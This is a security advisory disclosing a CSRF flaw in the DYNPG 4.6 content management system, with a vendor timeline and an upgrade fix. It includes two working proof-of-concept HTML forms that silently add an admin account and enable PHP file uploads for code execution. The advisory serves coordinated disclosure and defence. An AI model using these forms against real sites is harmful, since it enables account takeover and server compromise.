DYNPG 4.6: CSRF
Date: 2016-01-28 09:51:581. Introduction
| Affected Product: | DYNPG 4.6 |
| Fixed in: | 4.7 |
| Fixed Version Link: | https://www.dynpg.org/index_en.php |
| Vendor Website: | https://www.dynpg.org/ |
| Vulnerability Type: | CSRF |
| Remote Exploitable: | Yes |
| Reported to vendor: | 11/17/2015 |
| Disclosed to public: | 01/28/2016 |
| Release mode: | Coordinated Release |
| CVE: | n/a |
| Credits | Tim Coen of Curesec GmbH |
2. Overview
DYNPG is a content management system written in PHP. In version 4.6, it is vulnerable to CSFR as it does not have CSRF protection. This means that an attacker can perform actions for an admin, if the admin visits an attacker controlled website while logged in.
A user could add a new admin account through this vulnerability. Additionally, successful exploitation may lead to code execution by allowing the upload of PHP files in the admin area.
3. Proof of Concept
Add User:
<html> <body> <form action="http://localhost/DYNPG_46_2014-07-21/index.php?show=0" method="POST"> <input type="hidden" name="CHG_NEW_USER" value="test" /> <input type="hidden" name="CHG_NEW_USER_PASSWORD" value="test" /> <input type="hidden" name="CHG_NEW_USER_MAIL" value="test@example.com" /> <input type="hidden" name="CHG_NEW_ADMINMAIL" value="test@example.com" /> <input type="hidden" name="STATUS" value="SUBMITTED" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Once a user has gained an admin account, they can gain code execution by enabling the upload of PHP files. This could also happen as CSRF attack:
<html> <body> <form action="http://localhost/DYNPG_46_2014-07-21/index.php?show=0" method="POST"> <input type="hidden" name="CHG_DYNPG_SET_MAXUPLOAD_KB" value="8192" /> <input type="hidden" name="CHG_DYNPG_SET_FILETYPES" value="jpg, jpeg, jpe, gif, png, bmp, pdf, xls, csv, mpg, mp3, zip, rar, php" /> <input type="hidden" name="CHG_DYNPG_SET_SHOW_FONTS" value="True" /> <input type="hidden" name="CHG_DYNPG_SET_SHOW_INLINE_POPUPS" value="True" /> <input type="hidden" name="CHG_DYNPG_SET_EDIT_MODE" value="True" /> <input type="hidden" name="STATUS" value="SUBMITTED" /> <input type="hidden" name="DYNPGSETTINGS" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>
4. Solution
To mitigate this issue please upgrade at least to version 4.7:
https://www.dynpg.org/index_en.php
Please note that a newer version might already be available.
5. Report Timeline
| 11/17/2015 | Informed Vendor about Issue |
| 11/22/2015 | Vendor requests more time |
| 01/19/2016 | Vendor releases fix |
| 01/28/2016 | Disclosed to public |